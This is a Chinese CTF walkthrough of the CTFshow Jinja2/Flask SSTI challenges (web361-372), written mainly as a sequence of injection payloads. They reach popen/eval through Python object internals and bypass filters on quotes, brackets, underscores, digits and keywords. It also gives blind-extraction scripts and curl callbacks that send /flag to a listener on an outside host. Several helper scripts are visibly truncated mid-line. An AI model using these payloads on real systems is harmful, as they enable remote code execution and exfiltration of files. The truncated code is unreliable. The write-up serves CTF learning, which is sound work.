CTFSHOW-SSTI

参考文章 

自我感觉刚开始接触ssti有点难,下面的文章挨个看个大概就行,更多的通过做题来熟悉

前三个建议多看几遍

https://xz.aliyun.com/t/3679

SSTI模板注入绕过(进阶篇)_羽的博客-CSDN博客_ssti绕过

细说Jinja2之SSTI&bypass_合天网安学院-CSDN博客

SSTI模板注入 - 简书

CTF SSTI(服务器模板注入) - MustaphaMond - 博客园

浅析SSTI(python沙盒绕过)_白帽子技术/思路_i春秋社区-分享你的技术,为安全加点温度.

SSTI模板注入及绕过姿势(基于Python-Jinja2)_Y4tacker的博客-CSDN博客_ssti绕过

SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法

从feng师傅那里学习的笔记

__class__            类的一个内置属性,表示实例对象的类。

__base__             类型对象的直接基类

__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

__mro__              method resolution order,即解析方法调用的顺序;此属性是由类组成的元            组,在方法解析期间会基于它来查找基类。

__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

__init__             初始化类,返回的类型是function

__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')

__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。

__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。

url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

request.args.x1   	 get传参

request.values.x1 	 所有参数

request.cookies      cookies参数

request.headers      请求头参数

request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

request.data  		 post传参	(Content-Type:a/b)

request.json		 post传json  (Content-Type: application/json)

config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

g                    {{g}}得到

常用过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

WEB361

题目

CTFSHOW-SSTI_第1张图片

经典例子:hello, user_name

代码:

from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    name = request.args.get('name')
    template = '''

  
    SSTI
  
 
      

Hello, %s !

'''% (name) return render_template_string(template) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True)

GET输入?name={{7*7}}

CTFSHOW-SSTI_第2张图片

说明注入点是?name。

payload:

GET:?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

如何得到payload?

1、先找基类object,用空字符串""来找

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

使用?name={{"".__class__}},得到空字符串的类

点号. :python中用来访问变量的属性

__class__:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{"".__class__.__mro__}},得到(, )

__mro__              method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类

或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类

__base__             类型对象的直接基类
__bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

2、得到基类之后,找到这个基类的子类集合

使用?name={{().__class__.__mro__[1].__subclasses__()}}

__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag

这里使用其第133个类([0]是第一个类)

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到

        这个类有个popen方法可以执行系统命令

4、实例化我们找到的类对象

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类

__init__             初始化类,返回的类型是function

5、找到这个实例化对象的所有方法

使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}

__globals__          使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag

?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

popen()一个方法,用于执行命令

read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

WEB362

题目

CTFSHOW-SSTI_第3张图片

过滤了一些字符:2、3等 

payload:

GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}

得到__builtin__的另一个方法
?name={{x.__init__.__globals__['__builtins__']}}

//这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。

或者用模版来跑循环
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}

python2和python3两个版本通用的方法

__builtins__代码执行

__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别

在启动Python解释器后,就可以直接使用一些函数.

这些函数称为内建函数,在__builtins__模块中,Python在启动时就直接为我们导入了。准确的说,Python在启动时会首先加载内建名称空间,内建名称空间中有许多名字到对象之间的映射,这些名字就是内建函数的名称,对象就是这些内建函数对象。可以使用dir(builtins)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。

除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性

比如

{{"".__class__}}
{{""['__classs__']}}

WEB363

过滤了单双引号,可以用request来绕过

payload

GET:?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

相当于
?name={{x.__init__.__globals__['__builtins__'].eval('__import__('os').popen('cat /flag').read()')}}
把在引号里面的东西逃逸出去

或者使用chr函数

这里用config拿到字符串,比较麻烦就不全演示了,只演示部分:

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}

也可以先把chr给找出来赋值给chr,然后用chr拼接:

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

使用
?name={% set chr=url_for.__globals__.__builtins__.chr %}{{ url_for.__globals__[chr(111)%2bchr(115)]}}

CTFSHOW-SSTI_第4张图片

WEB364 

引号和args,本来考虑用request.values,但是发现post方法不被allow,所以改成cookie

payload:

GET:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag

或者

GET:?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

或者使用chr

GET:?name={%set chr=x.__init__.__globals__.__builtins__.chr%}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

WEB365

过滤了引号,还有中括号,但request.cookies仍然可以用。

payload

GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

或者使用__str__[数字]进行字符串拼接

GET:?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

在jinja2里面可以利用~进行字符串拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

WEB366

在之前的基础上又ban了下划线_,如果拿request绕过获取属性的话,用lipsum.(request.values.b)是会500的;中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:

GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

或者
GET:?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

attr用于获取变量

""|attr("__class__")
相当于
"".__class__

常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

WEB367

ban了os,那就把os写到request里面就行了

payload

GET:?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

WEB368

{{被过滤,使用{%%}绕过,再借助print()回显

payload

GET:?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}

Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

盲注:

另外用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了,写个python脚本:
参考feng师傅的脚本

import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

注意name那里用了{{和}},因为在用的format格式化字符串,用{}来占位,如果里面本来就有{}的话,就需要用{{}}来代替{}

或者yu师傅的脚本

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break

WEB369

把request给ban了,需要自己凑字符了,这里拿config来凑。一般我们想到的是使用__str__(),但是一个问题是_被ban了,所以__str__()用不了;这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_和[ ]被ban了,所以获取字符串中的某个字符比较困难。这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,参考feng师傅的脚本:

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("

") word=r.text[location+4:location+5] if word==j.lower(): print("(config|string|list).pop(%d).lower() == %s"%(i,j)) result+="(config|string|list).pop(%d).lower()~"%(i) break print(result[:len(result)-1])

payload:

GET:?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

yu师傅的方法

GET:?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

原理是

{% set a=dict(o=oo,s=ss)|join %}

这样得到的a就是把这个字典的键名拼接后的值,即os,这样的拼接不需要用到单双引号,非常方便。至于要做的,就是想办法把类似_这样的字符通过一系列操作找出来就可以了

如何得到_?

{% set a=(()|select|string|list)|attr(po)(24)%}

a=_

读文件盲注

import requests
import string
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i

反弹shell

电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
123
{%endif%}

//cmd的值用这个脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i

WEB370

基础上又ban掉了数字。如何获得数字?

feng师傅的想法:可以把一些东西转string再转list,然后用index

Python index() 方法检测字符串中是否包含子字符串 str ,如果指定 beg(开始) 和 end(结束) 范围,则检查是否包含在指定范围内。如果包含子字符串返回开始的索引值,否则抛出异常。

或者使用就random过滤器,用脚本跑出来

yu师傅的姿势

CTFSHOW-SSTI_第5张图片

 即length=count

{% set one=(dict(c=z)|join|length) %}
{% set two=(dict(cc=z)|join|length) %}

payload

GET:?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

//count可以用length代替

另外的解法

反弹shell,本地开启监听 nc -lvp 4567 等待反弹flag

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	k=''
	t=list(set(t))
	for i in t:
		k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
	return k
def fun2(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	t=list(set(t))
	k=''
	for i in range(len(s)):
		if i

WEB371

过滤了print,用反弹shell

yu师傅的脚本

GET:?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

//cmd的内容用下面的python跑
def aaa(t):
	t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
	return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i

feng师傅的脚本

GET:?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,c,cccccccc,point,ccc,c,point,c,cccccc,cccccccc,point,c,ccccccccc,cccccccc,maohao,ccc,ccccccccc,c,c,c,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web372

过滤了count,可以用length替换;用上一题feng师傅的脚本,

另外的思路是可以用全角数字代替正常数字(一般我们输入的数字都是半角)

全角和半角的区别及使用方式

半角转全角代码的python脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

全角'0','1','2','3','4','5','6','7','8','9',

半角'0','1','2','3','4','5','6','7','8','9'

在线全角转换网站:

全角半角转换 - 站长工具

 参考文章:

CTFshow-WEB入门-SSTI_feng的博客-CSDN博客

CTFSHOW SSTI篇_羽的博客-CSDN博客_ctfshow ssti

你可能感兴趣的:(CTFSHOW,安全,网络安全,信息安全)